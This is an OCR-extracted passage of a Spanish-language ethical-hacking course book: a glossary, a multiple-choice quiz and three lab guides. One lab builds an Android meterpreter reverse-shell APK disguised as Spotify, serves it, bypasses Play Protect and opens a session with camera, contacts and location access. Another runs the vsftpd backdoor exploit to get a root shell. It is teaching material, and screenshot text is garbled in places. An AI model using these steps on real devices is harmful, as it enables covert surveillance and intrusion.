. Encapsulacion y cifrado: Utilizar tuneles cifrados para ocultar la naturaleza del trafico

de red.

Glosario de términos

o Backdoor: Software o método que permite eludir los controles normales de

autenticacion para acceder al sistema.

. Baiting: Uso de sefiuelos fisicos o digitales, como dispositivos USB infectados, para

comprometer sistemas.

o Banner grabbing: Técnica para obtener informacion adicional sobre los servicios que se

ejecutan en un sistema mediante la lectura de los banners de servicio.

o Buffer overflow: Vulnerabilidad que ocurre cuando un programa intenta almacenar mas

datos en un bufer de lo que este puede manejar, lo que permite la ejecucion de codigo arbitrario.

o DNS tunneling: Utilizacion del protocolo DNS para transmitir datos de forma
encubierta.
o Escaneo ACK: Técnica para mapear las reglas de firewall y determinar si los puertos

estan filtrados.

o Escaneo de puertos: Envio de paquetes de solicitud a diferentes puertos en una direccion

IP para identificar cudles estan abiertos y qué servicios estan escuchando.
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o Escaneo SYN (Half-Open) Técnica de escaneo de puertos que envia paquetes SYN y

espera respuestas SYN-ACK sin completar la conexion.

o Escaneo tunelado: Uso de protocolos no estandar o cifrados para ocultar el trafico de
escaneo.
o Escalada de privilegios: Métodos para aumentar el nivel de acceso de un atacante dentro

del sistema, obteniendo permisos administrativos.

o Explotacion de deserializacion: Uso de datos deserializados no seguros para ejecutar

codigo malicioso.

o Explotacion de vulnerabilidades: Uso de software, scripts o técnicas para aprovechar

una vulnerabilidad y obtener acceso no autorizado.

. Fragmentacion de paquetes: Técnica para dividir el trafico de escaneo en paquetes mas

pequefios para evitar la deteccion.

. Ingenieria social: Manipulacion psicologica de personas para que realicen acciones o

divulguen informacion confidencial.

o Inyecciones SQL: Insercion de cdédigo SQL malicioso a través de entradas no

sanitizadas para acceder a bases de datos.

o Phishing: Envio de correos electronicos fraudulentos que parecen provenir de fuentes

confiables para obtener credenciales de usuario.

o Ping sweep: Envio de solicitudes de ping a un rango de direcciones IP para determinar

qué direcciones IP estan activas.

o Rootkit: Conjunto de herramientas disefiadas para ocultar la presencia de procesos o

archivos en un sistema comprometido.

o SSH tunneling: Utilizacion del protocolo SSH para cifrar y encapsular el trafico de red.

o Spear phishing: Phishing dirigido a individuos especificos con informacién

personalizada para aumentar la probabilidad de éxito.
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o Tuneles encapsulados: Técnicas de encapsulacion para ocultar el trd2fico de red del

atacante, haciendo que sea mas dificil de detectar.

Evaluacién de conocimientos

1. ;Cual es el objetivo principal de la fase de reconocimiento en el hacking ético?
a) Obtener informacion detallada sobre el objetivo

b) Eliminar vulnerabilidades en el sistema

¢) Realizar un ataque DDoS

d) Implantar malware

2. En la metodologia CEH, ;cual es la primera fase?

a) Analisis

b) Adquisicion

¢) Evaluacion

d) Generacion de reportes

3. (Cual de las siguientes herramientas es comunmente utilizada para el escaneo de

puertos?

a) Burp Suite

b) Nmap

c¢) Nessus

d) Metasploit

4. ;Qué significa la sigla OSSTMM?

a) Open-Source Security Testing Manual Method

b) Open-Source Security Training Method Manual

109 | Pagina



¢) Open-Source Security Testing Methodology Manual

5. (Cual de las siguientes es una técnica de ingenieria social?

a) Escaneo SYN

b) Phishing

¢) Escaneo ACK

d) Enumeracion SNMP

6. ;Cual de las siguientes metodologias se enfoca en la seguridad de aplicaciones web?
a) CEH

b) OWASP

c) PTES

d) Offensive Security

7. (Cual de las siguientes herramientas es desarrollada por Offensive Security?

a) Burp Suite

b) Nessus

¢) Kali Linux

d) OWASP ZAP

8. (Cual es el objetivo principal del Penetration Testing Execution Standard (PTES)?
a) Proporcionar una guia para la creacion de malware

b) Proporcionar una estructura y pautas para realizar pruebas de penetracion

c¢) Desarrollar herramientas para analisis forense

d) Realizar auditorias de cumplimiento legal
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9. ;Qué se busca en la fase de reconocimiento del hacking ético?
a) Implantar malware en el sistema

b) Obtener la mayor cantidad de informacion posible sobre el objetivo
¢) Realizar ataques DDoS

d) Eliminar vulnerabilidades detectadas

10. En la fase de escaneo, ;Qué técnica se utiliza para identificar puertos abiertos en un

sistema?

a) Phishing

b) Escaneo de puertos

¢) Ingenieria social

d) Cracking de contrasefias

11. ;Qué herramienta es cominmente utilizada para el escaneo de vulnerabilidades?
a) Wireshark

b) Nessus

¢) Netcat

d) Hydra

12. ;Cual es el objetivo de la fase de conseguir acceso en el hacking ético?
a) Utilizar las vulnerabilidades descubiertas para obtener acceso no autorizado
b) Realizar un ataque DDoS

¢) Monitorear el trafico de red

d) Documentar configuraciones del sistema

13. ;Qué técnica se utiliza para ocultar la presencia de un atacante en el sistema?
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a) Escaneo de puertos

b) Rootkits

c¢) Ingenieria social

d) Cracking de contrasenas

14. ;Qué es el DNS Tunneling?

a) Técnica para mapear la red

b) Utilizacion del protocolo DNS para transmitir datos de forma encubierta
¢) Método para deshabilitar firewalls

d) Herramienta para escanear vulnerabilidades

15. ;Cual es una técnica de evasion utilizada durante el escaneo?
a) Fragmentacion de paquetes

b) Banner Grabbing

¢) Enumeracion de usuarios

d) Modificacion de registros
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CAPITULO 5 GUIAS PRACTICAS

5.1. Préactica 1. Simulacion de una infeccion de malware en una maquina virtual.

Objetivo: Entender como se comporta un malware basico al infectar un sistema operativo en un

entorno seguro y dimensionar los problemas que puede causar en caso de ser un malware

avanzado.

Requisitos

. Maquina virtual (VM) Puedes usar software de virtualizaciébn como VirtualBox o
VMware.

. Sistema operativo en la VM: Windows 10 /11.

. Herramientas de analisis: Process monitor y wireshark.

Instrucciones
Paso 1: Configuracién del entorno de prueba

o Configurar la maquina virtual para que use un adaptador de red interna o sin conexién

a red. Esto asegura que la VM esté aislada de tu red local y de internet.

) victima - Configuracion - O X
- General Red

B sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

. Pantzlla Habilitar adaptadaor de red

r Conectado a: | NAT w

L% Almacenamiento

Nombre:
{{/i Audio [ Avanzado
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Q,_,; victima - Configuracidn - O *
H General Red

E Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

-| Pantalla Habilitar adaptador de red

Iﬁ I Conectado a: .No conectado v I

'y'_,-' Almacenamiento . »

Nombre:

s

({H Audio [> Avanzado

@ Red

o Instalar herramientas de analisis: Dentro de la VM, descarga e instala rocess monitor y

wireshark. Estas herramientas te permitirdn monitorear cambios en el sistema de archivos y el

trafico de red.
Paso 2: Crear un script malicioso simulado

o Abrir el bloc de notas en la VM: Dentro de tu VM, abre el bloc de notas para crear un
archivo batch (.bat) que simule comportamiento malicioso.

o Escribir el script batch: Copia y pega el siguiente cddigo en el bloc de notas.
@echo off

:loop

echo Este es un mensaje malicioso >> %UserProfile%\malware log.txt

timeout /t 5 /nobreak > nul

goto loop

o Este script crea un bucle infinito que afiade continuamente un mensaje a un archivo

Ilamado malware_log.txt en el directorio del usuario.

ﬁ ctima [Corrienda] - Orac|

) *sintitulo: Bloc de notas

Archive  Edicién  Formato  Ver Ayuda
@echo off
:loop

doe echo Este es wun mensaje maliciose »» XUserProfileX\malware_log.txt
timeout /t 5 fnobreak » nul
goto loop|
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o Guardar el archivo: Guarda el archivo como malware_simulation.bat en el escritorio 0

en cualquier ubicacién de tu VM.

3 pete equipo
v { b
Nombre: | malware_simulation.bat v
Tipo: | Documentos de texto (*txt) v
A Qcultar carpetas Codfficacion: | UTF-8 v Guardar Cancelar
u -

Paso 3: Ejecutar el script malicioso

o Ejecutar el script: Observa como el archivo malware_log.txt se llena con lineas de texto

repetidas.

Edit Event Filter Tools Options Help
ASRQCIVI®| & £LQANHERBE

. Process Name FID  Operatiors Path Resul Detail
... WsExplorer. EXE 616 [ Aeadfile CWindows'\System 22'shell32.dI SUCCESS Offzet; 6,706,683, ...
.. W Explorer EXE 616 [RIReadFil Cillindows"\System32uduger.dl SUCCESS Offset: 536576, Le...
... ‘W= Explorer EXE 616 [ ReadFile Coviindaws exploner.axe SUCCESS Crfset: 3,721,728, ...
... Wrsvchost exe 976 (3ReadFile CiWindows'\System32'schedsve dl SUCCESS Orfsed; BB4.584, Le,,
.. B MsMpEng exe 1984 (H)ReadFile C:\ProgramData'Microsoft\Windaws De...SUCCESS Offsed: 12,426,240,
... s Explorer EXE 616 [fR=adFile C:\Windowa'\System 32'shell32.d1 SUCCESS Oifeet: 6,682,112, ..
. W msedge exe 3668 [FIReadFik CoWindaws" System 32 shell32.dI SLCCESS Oifset: 6.653.440. .
... W-msedge.exe 3668 [FIReadFile C\Windows\System32\shell32.d1 SLCCESS (rfset: 6,653,440, .
.. W Explorer EXE 616 (f3)ReadFile CiWindows System3Zwindows storag... SUCCESS Offset; 7.112.704. ..

... B MsMpEng exe 1984 [5)ReadFile C:\ProgramData'Microsoft\Windows De. SUCCESS Cfsed: 12672,000....
. W mzedge exe 3663 [F5)WnteFile CilJezrg\wboxuserAppDatatLocal\Me.. SUCCESS Orfset; -1, Length: ...
- msedge exe 3668 [F\WileFile Chllsers\wboruser\AppData' Local\Me... SUCCESS Offsed: -1. Length: 12

... H-msedge.exe 3668 (A AushBuffersfile  C:\sers'whf .
.. T meedge exe 3663 (5)\ieRile Co\lserswbi ‘ The Wireshark Metwork Analyzer
.:;\;T;DAP'EIE gggg : ?J?Si-itntnmr:{gg\”.ndom File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
 Searchiderer.... 2628 (FReadFie CWindows) f W 1 @ REReas=F 5 EaQaadH
. W= Explorer EXE 616 £33 Thread Exit I
.. W Explorer EXE 516 £% Thread Exit _[|.|J-;>:’.': display fitter .., <Ctrl-/> (=]
.. 1= Explorer EXE 616 [FIReadFile C:\Windaws|
... W-mzedge exe 5424 [m)ReadFile CiWindows
.. W Explorer EXE 616 [AiReadFile CWindows] -
... - Explorer EXE 616 5 AeadFile Caindaws! Welcome to Wireshark
.. - Explorer EXE 616 [ Regluenkey  HELM
... B- Explorer EXE 616 [ RegOpenkey  HELM\Softw Capture
s Funlorar FXF 1R A RanCuendialie  HKI MASOFT . o - - :
ng 122,786 of 219,302 events (35%) Backed by virt| wuising this filter: | 1 | Enter a capture filter .. '] All interfaces shown ™
Ethemet 1. 1
Adapterfor loopback traffic capture %, A

Monitorear cambios en el sistema: Abre process monitor para ver qué procesos estan activos y
gué cambios se estan realizando en el sistema. Busca el proceso cmd.exe (intérprete de

comandos de windows) ejecutando acciones repetidas.
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4:36:1... B svchostexe 2108 [55)LockFile C:\Users‘wboxuser'AppDatatLocal\Co... SUCCESS Exclusive: Falze, O...
4:36:1... Wrgvchost.exe 2108 F)UnlockFileSingle C:\Users\wboxuser\AppDatatLocal\Co... SUCCESS Offset: 124, Length...
:1... Wesvchost.exe 2108 (5 LockFile C\Users\vboxuser\ﬁppData'\LocaI\Co SUCCESS Excluswe False 0.

[ \Llsas\uboxus:r\Dusktop\maIware 5. SUCCESS Desired .Ac::uss G.
C:M\Users\wboxuser\Desktop‘malware_s...5 S5 Offset: 115, Lenath...
C:iUsers‘whoxuzer\Desktopimalware_s. C Offset: 124, Length...
(e \Lls;-rs\uboxus:.-r\Dusk‘top\maIware s AllocationSize: 128...

361, W svchostexe 2108 () UnlockFieSingle C\Users\vboxuser\ﬁppData\LocaI\Co . SUCCESS Offset: 122, Length...
4:36:1... " Explorer EXE 616 [ff RegQueryKey  HKCLUMSoftware®Classes SUCCESS Query: Name

4:36:1... "ju Explorer EXE 616 @Heg@uerﬁ{w HEC U Software\Classes SUCCESS Query: Handle Tag...
4:36:1... "ju Explorer EXE 616 @Heg@uerﬁ{w HEC U Software\Classes SUCCESS Query: Handle Tag...
o Monitorear tréfico de red: Abre wireshark para monitorear si hay algun trafico de red

saliente 0 entrante que pueda estar relacionado con el script. Este script basico no deberia

generar trafico, pero es una buena préctica ver como se monitorean las conexiones en tiempo

real.
Ethmet L - 1
|-|:|q:|:||:-:lll:4:;|:ll:|‘ Eraffic cgiunn . — 5,

Paso 4: Detener la ejecucion del script y limpiar el entorno

o Detener el script: Cierra la ventana de comandos abierta por el script o reinicia la VM

para detener su ejecucion.

§ B CiWndewaiaptemdlomd e

o Revertir la maquina virtual: Restaura la VM a un estado limpio utilizando una
instantanea previamente tomada, o simplemente elimina la VM y crea una nueva para

asegurarte de que no quedan restos del script.
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10 L < 2
I 11\ €O
JfU‘J Herramientas {w} ] ‘b\_,JJ
Nueva Afiadir = Configuracion Descartar
W Gene
P kali-fnux-2024.2-virtualbox-amds4 =)o
o4 ) Apagada Nombre: victima
Sistema operativo: Windows 10 (64-bit)
$' t e [1} Sistema
o g
L () Apagada U= Memoriabose:  3072MB .
¢ Configuracion... Control+S _ Orden de arranque: Disco duro, Optica, Disq
v Clonar Control+0 Aceleracién: Paginacién anidada, Pa
C'F Mover... 8 rantalla
LR} Exportar a OCL.. Memoria de video: 128 MB
;\g Eliminar Controlador gréfico: VBOXSVGA
x Servidor de escritorio remoto: Inhabilitado
(' Mover a grupo 4 Grabacion: Inhabilitado
= Iniciar » @ Almacenamiento
Pausar Controlador: SATA
Reiniciar Puerto SATA 0: victima.vdi (Norr
Puerto SATA 1: [Unidad dptica)
U) Parar > Controlador: Floppy
Dispositivo de disquete 0: Unattended-132)
Descartar el estado guardado... °
A Audio
[4}] Mostrar trazas... Control+L v
: Controlador de anfitrién: Pred S
Aduaizan Controlador: Audio Intel HD
: Mostrar en explorador .'l, Red
‘fJ Crear un acceso directo en el escritorio Adaptador 1: Intel PRO/1000 MT Desktop (§
J{,L Ordenar (£ uss
¢ Busar oo’ Controlador USB: XHCL

N VirtualBox - Pregunta ? pd

Esta a punto de eliminar las siguientes maquinas virtuales
de la lista de maquinas:

victima

cDesea eliminar los archivos que contienen la magquina
virtual de su disco duro también? Haciendo esto eliminara
los archivos que contienen los discos duros de la maquina
virtual si no son usados por otra maguina.

Eliminar todos los archivaos Solo borrar Cancelar

o Documentar y analizar: Documenta lo que observaste durante la ejecucion del script.

¢Qué cambios se hicieron en el sistema? ;Cdémo se comporto el script?
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/| malware_log: Bloc de natas

Archive Edicign  Formate Ver  Ayuda
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicloso
Este e un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este ez un mensaje malicioso
Ezste es un mensaje malicioso
Este es um mensaje malicioso
Este 25 um mensaje maliciocso
Este es un mensaje malicioso
Este es un mensaje malicloso
Este sz un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso
Este es un mensaje malicioso

4:36:1... "B svchost exe 2108 [35)LockFile C:Users'whoxuser'AppData®Local\Co... SUCCESS Exclusive: False, 0.
:1... M- svchost.exe 2108 &) UnlockFileSingle C:'Users'wboxuser'AppData'Local'\Co... SUCCESS Offzet: 124, Length...
2108 &)LockFile C:Users‘whboxuser\AppData®LocalCo... SUCCESS Exclusive: False, O...

ed Acc .
set: 115, Length...

svchost exe r=) C:\Users\whoxuser'AppData‘Local'Co. .. Exclusive: False, O ..

: ... ‘e gychost.exe 2108 &) UnlockFileSingle C:%Users'wboxuser'AppData®Local'\Co... SUCCESS Offzet: 124, Length...
4:36:1... "py Explorer.EXE 616 @Heg@uewl{e:.' HKECUNSoftware\Classes SUCCESS Query: Mame

4:36:1... "py Explorer. EXE 616 @Heg@uewK&y HKCUNSoftware\Classes SUCCESS Query: HandleTaag. ..

4:36:1... "py Explorer. EXE 616 @Heg@uewK&y HKCUNSoftware\Classes SUCCESS Query: HandleTaag. ..

Analiza el taller realizado y responde a las siguientes preguntas segun tu criterio.

1. ¢Qué efectos tendria en el sistema si se tratase de un malware avanzado como un
troyano?

2. ¢Coémo afectaria una infeccion en un ambiente empresarial/produccion?

3. ¢Qué medidas de seguridad estableceria en un ambiente empresarial para evitar estas

situaciones de alto riesgo?
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5.2. Préctica 2. Manipulacién de dispositivo android a través de una APK generada por kali
linux.

Objetivo: Comprender los riesgos a los que se exponen las personas al descargar aplicaciones

no oficiales como APK y que tanto se puede afectar un dispositivo android.

Requisitos
. Maquina virtual (VM) Puedes usar software de virtualizaciéon como VirtualBox o
VMware.

. Sistema Operativo en la VM: Kali linux 2024.2

. Herramientas: msfconsole, msfvenom
. Un dispositivo movil: Android 12 (mientras sea una version inferior es mejor)
Instrucciones

Paso 1: Configuracion del entorno de prueba

o Configurar la red de la VM: Configurar la maquina virtual para que use el adaptador
puente. Esto nos permitira ver nuestro dispositivo android que debe estar conectado a la misma

red que la computadora fisica.

23 kali-linux-2024.2-virtualbox-amd64 - Configuracion — O *
General Red

i Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

|-| Fantalla Habilitar adaptador de red

= Conectado a: | Adaptador puente ~

Ii E'J' Almacenamiento

Nombre: |Realtek B822CE Wireless LAN 802.11ac PCEE NIC ~

1O Audio N | Realtek 8827 CE Wireless LAN 802.11ac PCEE NIC

D b Avanzado TAP-Windows Adapter W9

- -

119 | Pagina



3 i-linux-2024.2-virtualbox-amd64 - Configuracion - a x

General Red

@ kal
|
‘W | sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
-. Pantalla Habilitar adaptador de red
= Conectado a: |NAT b
L '[_,' Almacenamiento . ;
(b5
-

Mombra:

Audio [* Avanzado

Red

Paso 2: Verificamos en la VM que estemos conectados a la red y comprobamos nuestra

direccion IP.

o Ejecutamos el comando “ifconfig” dentro de la terminal de Kali.

File Actions Edit View Help

— 1tcontie
eth@: flagc-4162-1D DOAANCAST, RUNNING,MULTICAST> mtu 1500
. ~2.5) netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::862e:f7fe:7a42:9b69 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:d2:26:79 txqueuelen 1000 (Ethernet)
RX packets 18 bytes 11821 (11.5 KiB)
RX errors 0 dropped @ overruns 0 frame 0
TX packets 40 bytes 11798 (11.5 KiB)
TX errors 0 dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped © overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0@ dropped 0 overruns @ carrier @ collisions @

o Guardamos la direccion IP para este caso tenemos asignada la IP 192.168.1.59.
Paso 3: En la terminal de kali ingresaremos a MSFVENOM para crear un payload (una carga).

o Ingresaremos el siguiente comando “msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.1.59 LPORT=443 -0 Spotify.apk”
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o En LHOST ingresaremos la direccion IP que se nos haya asignado en LHOST

ingresaremos el puerto de conexion.

/home/kali
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.59 LPORT=443 -o spotify.apk
[-] No platform was selected, choosing Msf ::Module::Platform:: Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload

No encoder specified, outputting raw payload
Payload size: 10233 bytes
Saved as: spotify.apk

Nota: Esta practica se trata de un caso demostrativo con lo cual no incluiremos un “encoder” para tratar de hacer la aplicacion

indetectable.

root @l Momeyical)

Fie Actions Edit View Help

/becw/kalx

Paso 4: Levantaremos un servidor temporal para publicar nuestro apk, simulando las paginas

en las cuales se descargan normalmente.

o Ejecutamos el comando “python3 -m http.server 80”

Jhome/kali
\ -m http.server 80
rving HTTP on @.0.0.8 port 8@ (http://0.0.0.0:88/)

oo
_J
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8:41PME®

O A 192.168.1.59

Listado de directorios para /

Jbash_cerrar sesién

.rostro
.cara.icono@
.gnupg/
.Autoridad ICE
Java/

Jocal/

.sudo_as_admin_exitoso
.vhoxclient-portapapeles-tty7-control.pid
.vboxclient-clipboard-tty7-service.pid
.vboxclient-display-svga-x11-tty7-control.pid
.vboxclient-display-svga-x11-tty7-service.pid
.vhoxclient-draganddrop-tty7-control.pid
.vboxclient-draganddrop-tty7-sgrvice.pid
.vboxclient-hostversion-tty7-coftrol.pid
.vbhoxclient-seamless-tty7-contr@l.pid
.vboxclient-seamless-tty7-servige.pid
.vboxclient-vinsvga-session-ttycontrol.pid

.errores de sesion
.Xsession-errors.old
« Historial de .zsh
.zshrc

De oficina/
» Documentos/

©% Se tradujo la pagina al espafiol Deshacer

m O

8:41PME@

» .bash_cerrar sesion
« .bashrc

e Jbashrc.original

« .config/

e .dmrc

e .rostro

- cara.icono@

* .gnupg/

« .Autoridad ICE

« Java/

« local/

o .perfil

» .sudo_as_admin_exitoso

« .vhoxclient-portapapeles-tty7-control.pid

« .vboxclient-clipboard-tty7-service.pid

« .vboxclient-display-svga-x11-tty7-control.pid
« .vboxclient-display-svga-x11-tty7-service.pid
« .vboxclient-draganddrop-tty7-control.pid

« .vboxclient-draganddrop-tty7-service.pid

« .vhoxclient-hostversion-tty7-control.pid

« .vhoxclient-seamless-tty7-control.pi

« .vboxclient-seamless-tty7-service.pid

« .vhoxclient-vimsvga-session-tty7-control.pid
« Xautoridad

 .errores de sesion

« Historial de .zsh
e .zshrc

« De oficina/

e Documentos/

« Videos/

8:49PMO B

O A 192.168.1.59

Es posible que el archivo sea
danino

o Una vez ejecutado iremos al dispositivo android (victima) e ingresaremos al navegador

chrome y visitaremos la pagina web en este caso la direccion corresponde a la direccion IP de

la VM 192.168.1.59.

o Realizamos los pasos de las 3 imagenes anteriores e instalamos el apk.
. Google play bloqueara la instalacion con lo cual ingresaremos a “instalar de todas
formas.
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8:49PMTO B il D @4 8:49PMO O O 849PMO B OO

®

Paso pruebas de segu"-l*d
No se detectaron riesgos A .

® Google Play Protect

Se bloqued la app no ‘ ) o
I MainActivity
segura =

& MainActivity
+ - o Anélisis de virus
& MainActivity

¢Deseas instalar esta app?
Verificacion de aplicacién falsificada

CANCELAR INSTALAR

Otros riesgos

de todas formas

Mas aplicaciones

Nota: Aun no abriremos la aplicacion en el dispositivo movil.

Paso 5 regresamos a kali y abrimos una nueva terminal en ella abriremos msfconsole.

o Uno vez dentro usamos “use /multi/handler” para estar a la escucha en el momento que

la victima ingrese a la aplicacion y recibir la conexion.
o Ingresamos el siguiente comando set payload android/meterpreter/reverse_tcp

>
> use /multi/handler
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload android/meterpreter/reverse_tcp
payload = android/meterpreter/reverse_tcp
msf6 exploit( ) > 1

o Una vez realizado mostramos las opciones con “show options”.
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msf6 exploit( ) > show options

Payload options (android/meterpreter/reverse_tcp):

Name Current Settinc Required Description

LHOST yes The listen address (an interface may be specified)
LPORT = 4444 yes The listen port

Exploit target:
Id Name

Wildcard Target

View the full module info with the info, or info -d command.

o Tendremos que configurar el LHOST & LPORT para ello usaremos el comando “set”
seguido del parametro “lhost” seguido de la ip 192.168.1.59 & 443 respectivamente, estos datos
corresponden a los mismos datos ingresados al apk generado anteriormente.

) > set LHOST 192.168.1.59
) > set LPORT 443
msf6 exploit( ) > show options
Payload options (android/meterpreter/reverse_tcp):
Name Current Sottinag Required Description

LHOST 192.168.1.59 yes The listen address (an interface may be specified)
LPORT 443 yes The listen port

Exploit target:

Id Name

Wildcard Target

View the full module info with the info, or info -d command.

o Mostramos nuevamente los parametros y revisamos si se actualizo.

° Finalmente iniciamos el modo de escucha con el comando “run”.
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msf6 exploit( ) > run

Started reverse TCP handler on 192.168.1.59:443
ding stage (71398 bytes) to 192.168.1.6
arpreter session 1 is not valid and will be closed
192.168.1.6 - Me preter session 1 closed.
Sending stage (71398 bytes) to 192.168.1.6
o Exploit failed [user-interrupt]: Int pt
run: Interrupted
msfé exploit(
Meterpreter session ot valid and will be closed
192.168.1.6 - rpre session 2 closed.
Interrupt: use the 'exit' command to quit
msf6 exploit( ) > run

Started reverse T handler on 192.
Sending stage (71398 bytes) to 192.
Sending stage (71398 bytes) to 192.
Meterpreter session 4 opened (192.168.1.59:443 — 192.168.1.6:49774) at -0400

meterpreter > f§

o Una vez iniciado si la sesion no es valida volvemos a correr el comando hasta que se
mantenga en pie e inmediatamente, iniciamos la aplicacion en el dispositivo Android (APK),

como vemos se ha iniciado la sesion ya estamos dentro del dispositivo.

. Con el comando “help” podemos visualizar todas las opciones que tenemos y probamos.

File Actions Edit View Help

command: 1. Run the
> screenshot

application. If this payload is hosted in an
reensh at all.

can configure this

Timeout currently 15 seconds, you nfigure this with

dump_contacts
out. Timeout ently 15 onds, you can configure is th

F78lesensor=true

5b7d6fbas (aarc

nfigure this with

ntly 15 nds, you can configure this with =

meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > x
Shutting down s

sion &4 cl
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o Como podemos observar hemos obtenido la lista de las cAmaras, la geolocalizacion,

tiempo local fecha y zona horaria, informacién del sistema

o Una vez dentro podemos incluso tomar fotos, screenshots, activar cAmaras para grabar,

grabar audio, listar los contactos y registros de llamadas, etc.
Analiza el taller realizado y responde a las siguientes preguntas segun tu criterio.
4. ¢Alguna vez has descargado aplicaciones mediante APK o similares?

5. ¢Crees que las aplicaciones que han sido pirateadas en internet son gratis sin ningun

riesgo y libre de virus?

6. ¢En caso de ser esta una situacion real donde alguien con malas intenciones busca hacer
todo el dafo posible como las extorsiones 0 amenazas, que tan grave seria tu caso? ;Muy grave,

grave, moderado, leve, muy leve?

5.3. Practica 3. Préctica de laboratorio: Host comprometido aislado utilizando el método de 5
componentes (5-Tuple)

Objetivo general: Identificar y aislar un host comprometido en la red utilizando el método de
5-Tuple, mediante la revisién de archivos de registro generados durante un ataque a una

vulnerabilidad documentada.
Obijetivos especificos:

o Analizar los logs de red y del servidor para identificar patrones de trafico inusuales

asociados con un ataque documentado.

o Utilizar los registros para determinar la direccion IP del host comprometido y el archivo
afectado.
o Aplicar técnicas de filtrado y segmentacion de red basadas en la informacion del 5-

Tuple para aislar el host afectado.

o Confirmar que el host comprometido ha sido efectivamente aislado y que el trafico

malicioso ha cesado.
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o Registrar cada paso del proceso de identificacion y aislamiento para futuras referencias

y mejoras en la seguridad de la red.
Recursos necesarios

o Servidor con al menos 8 GB de RAM y 35 GB de espacio libre en disco.

. Version més reciente de Oracle VirtualBox

o Conexion a internet

o Cuatro maquinas virtuales
Maquina virtual RAM Espacio en Usuario Contrasefa

disco

VM/CyberOps 1GB 7GB analyst cyberops
Workstation
Kali 1GB 10GB Raiz cyberops
Metasploitable 512KB 8GB msfadmin msfadmin
Security Onion 3GB 10GB analyst cyberops

Procedimiento

Parte 1 Reconocimiento: En esta seccion, usaras Nmap para identificar si la maquina virtual

Metasploitable tiene alguna vulnerabilidad relacionada con la version 2.3.4 del servicio vsftpd.

o En la maquina virtual Security Onion, ingresa el comando “date” para mostrar la fecha

y la hora actuales.
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Terminal - analyst@Sec... @, &8 2 14 Aug, 23:03

Terminal - analyst@SecOnion: —

a)
rd2-1 (spooler, unified2 format)

ff-ng (full packet data)
0

ed2 format)

bot@SecOnion

En la maquina virtual kali, haz clic derecho en el escritorio y selecciona "Abrir terminal” (open

terminal).

o Utilizando nmap y sus opciones, ejecutardn un script para verificar si existe alguna

vulnerabilidad FTP en la méquina virtual Metasploitable con la direccion IP 209.165.200.235.
o Introduzcan el siguiente comando:
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 --reason > ftpd.txt

Los resultados se redireccionan y se guardan en el archivo de texto ftpd.txt. Este proceso

demorara unos instantes.

HeomPdD- -
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ck ttl 63

o Una vez que el cursor regrese, abran el archivo de texto que contiene los resultados de

Nmap utilizando el siguiente comando:
root@kali:~# cat ftpd.txt

o El resultado mostrara la vulnerabilidad relacionada con vsftpd, junto con otros puertos
abiertos detectados por Nmap en la maquina virtual Metasploitable. En esta préctica de

laboratorio, se procedera a atacar la vulnerabilidad en el puerto 2
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@ Kali-Linux-2021 4 [Corrie racle VM VirtualBc - =]

SHEET 1 X e E O Editando Wired c . £ root@kali: /home/kali 09:47PM L ) A LZ22%| @ G

root@kali: home/kali
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1524/tcp open ingreslock syn-ack ttl 63

Nmap done: 32 IP addresses (2 hosts up) scanned in 51.93 seconds

® /home/kali
) fto-vsftod-backdoor 209.165.200.235/27 ftod.txt

® /home/kali
t ftpd.txt

Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-14 21:45 EDT
Nmap scan report for 209.165.200.226
Host is up, received echo-reply ttl 64 (08.0015s latency).
Not shown: 999 filtered ports
Reason: 999 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64

Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.014s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
ftp-vsftpd-backdoor:
VULNERABLE:
|  vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
IDs: BID:48539 CVE:CVE-2011-2523
VsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: 2011-07-03
| Exploit results:
l Shell command: id
|

Results: uid=0(root) gid=0(root)
References:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

B oak20- E O Editando Wired connecti... &1 root@kali: /home/kali 09:48PM 3 4) A L2%| @ G M B

root@kali: /home/kali - o x
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| Exploit results:
| Shell command: id
Results: uid=0(root) gid=0(root)

References:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://wmw.securityfocus.com/bid/48539

| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
& https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
22/tcp  open ssh syn-ack ttl 63
23/tcp open telnet syn-ack ttl 63
25/tcp  open smtp syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
512/tcp open exec syn-ack ttl 63
